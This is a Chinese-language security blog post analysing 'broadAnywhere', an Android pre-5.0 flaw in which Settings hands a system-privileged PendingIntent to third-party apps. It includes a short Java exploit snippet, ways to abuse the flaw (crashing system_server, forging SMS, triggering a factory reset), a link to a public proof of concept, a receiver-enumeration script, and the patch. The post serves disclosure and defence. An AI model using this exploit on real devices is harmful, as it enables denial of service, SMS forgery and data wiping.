原创内容,转载请注明来源 http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html
Lolipop源码已经放出有些日子了,我发现google在5.0上修复了一个高危漏洞,利用该漏洞可以发送任意广播:不仅可以发送系统保护级别的广播、还可以无视receiver的android:exported=false、android:permisson=XXX 属性的限制。简直就是LaunchAnywhere[1] 漏洞的broadcast版本,所以就称它是broadAnywhere吧。这个漏洞在5.0以下的系统上通杀,影响还是很大的。
一、先看补丁
通过补丁[2]可以看到漏洞发生在src/com/android/settings/accounts/AddAccountSettings.java 的 addAccount 函数中。这回这个漏洞出现在Settings添加账户的时候。使用AccountManager添加账户的流程如下图:
关于AccountManagerService的流程机制请参考LaunchAnywhere漏洞的分析[1],本篇就不赘述了。
二、如何利用
本次的漏洞就发生在流程图的Step1之前, Setting调用了AccountManager.addAccount。在传递的AddAccountOptions参数时加入了一个PendingIntent,其intent类型是Broadcast。注意这个PendingIntent是Settings创建的,拥有system权限。
1
2
3
4
5
6
|
private
void
addAccount(String accountType) {
Bundle addAccountOptions =
new
Bundle();
mPendingIntent = PendingIntent.getBroadcast(
this
,
0
,
new
Intent(),
0
);
addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(
this
));
AccountManager.get(
this
).addAccount(
|
AppB会在step3的时候取到了AddAccountOptions参数,从中获得了这个PendingIntent,并且可以利用它以system的身份发送广播,示例代码如下:
1
2
3
4
5
6
7
8
|
PendingIntent pending_intent = (PendingIntent)options.get(
"pendingIntent"
);
intent.setAction(
"android.intent.action.BOOT_COMPLETED"
);
try
{
pending_intent.send(getGlobalApplicationContext(),
0
,intent,
null
,
null
,
null
);
}
catch
(CanceledException e) {
e.printStackTrace();
}
|
以System身份可以发送系统级的广播protected-broadcast,同时还可以将广播发送给未导出的receiver(android:exported=false)和有权限限制的receiver。
三、原理分析
回过头再看一下Settings是如何创建PendingIntent的:
1
|
mPendingIntent = PendingIntent.getBroadcast(
this
,
0
,
new
Intent(),
0
);
|
Settings本身是一个高权限进程,它将自己的PendingIntent传给不可信的第三方程序是不安全的。
因为Settings初始化PendingIntent的时候传入的是一个没有内容的new Intent(),所以攻击者在调用PendingIntent.send( )的时候可以随意设置Intent中的大部分内容。这是由于在系统源码中PendingIntentRecord.sendInner 调用了finalIntent.fillIn(intent, key.flags);,允许调用者填充Intent的值。
PendingIntentRecord.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
196
int
sendInner(
int
code, Intent intent, String resolvedType,
197
IIntentReceiver finishedReceiver, String requiredPermission,
198
IBinder resultTo, String resultWho,
int
requestCode,
199
int
flagsMask,
int
flagsValues, Bundle options) {
200
synchronized
(owner) {
201
if
(!canceled) {
202
sent =
true
;
203
if
((key.flags&PendingIntent.FLAG_ONE_SHOT) !=
0
) {
204
owner.cancelIntentSenderLocked(
this
,
true
);
205
canceled =
true
;
206
}
207
Intent finalIntent = key.requestIntent !=
null
208
?
new
Intent(key.requestIntent) :
new
Intent();
209
if
(intent !=
null
) {
210
int
changes = finalIntent.fillIn(intent, key.flags);
|
四、漏洞危害和应用场景
这个漏洞在安卓5.0以下通杀,可以认为该漏洞影响目前99.9%的安卓手机。
利用这个漏洞可以攻击绝大多数broadcast receiver。由于Intent.fillIn这个函数要求component必须显式填充[3],我们不能发送指定component的intent的。但是可以通过指定intent的action已经可以攻击大多数receiver了。
所以这个漏洞也是有很大利用空间的。下面举几个例子
1. 发送android.intent.action.BOOT_COMPLETED广播,这是一个系统保护的广播action。发送这个广播将导致system_server直接崩溃,造成本地DoS攻击。
2. 4.4上发送android.provider.Telephony.SMS_DELIVER可以伪造接收短信。
3. 发送com.google.android.c2dm.intent.RECEIVE广播,设备将恢复至出厂设置。
上述提到的几种利用方法已经开源:
https://github.com/retme7/broadAnyWhere_poc_by_retme_bug_17356824
伪造短信演示视频:
对于厂商定制固件来说,还可能有更多的利用方法。通过搜索系统应用的receiver,可以找到更多可攻击的receiver,搜索方法可以参考以下代码(python):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
def
get_receiver(
self
):
xmltag
=
self
.manifest.getElementsByTagName(
'protected-broadcast'
)
if
len
(xmltag) !
=
0
:
logByThread(
self
.__apk_obj.get_filename())
logByThread(
'protected-broadcast'
)
for
x
in
xmltag:
logByThread( x.getAttribute(
"android:name"
))
xmltag
=
self
.manifest.getElementsByTagName(
'receiver'
)
if
len
(xmltag) !
=
0
:
logByThread(
self
.__apk_obj.get_filename())
logByThread(
'reciever-with-permission'
)
for
x
in
xmltag:
if
x.hasAttribute(
"android:permission"
)
or
(x.hasAttribute(
"android:exported"
)
and
x.getAttribute(
"android:exported"
).find(
"false"
)!
=
-
1
):
if
len
(x.getElementsByTagName(
"intent-filter"
)) !
=
0
:
logByThread( x.toxml())
return
|
五、漏洞修复
通过注释知道这个PendingIntent是用来告诉第三方应用,发起addAccount的应用是Settings。这里其实这没必要用PendingIntent,不过出于历史原因,这个接口还得继续支持下去。
所以这个漏洞的修复就只是简单地将PendingIntent所关联的Intent中的component、action、action中初始化了一个无意义的值。这样一来AppB也就不能够借助Intent.fillin()对intent的值进行二次填充了。
1
2
3
|
+ identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
+ identityIntent.setAction(SHOULD_NOT_RESOLVE);
+ identityIntent.addCategory(SHOULD_NOT_RESOLVE);
|
六 安全建议
开发者:
尽量不要使用receiver来作为敏感功能的调用接口,即便这个receiver是未导出、有权限控制的。
手机厂商:
尽快将固件升级到Android Lolipop。或者参照链接[2]推送安全更新补丁。
[1] http://retme.net/index.php/2014/08/20/launchAnyWhere.html
[2] https://android.googlesource.com/platform/packages/apps/Settings/+/37b58a4%5E%21/#F0
[3] http://androidxref.com/4.4.4_r1/xref/frameworks/base/core/java/android/content/Intent.java#6516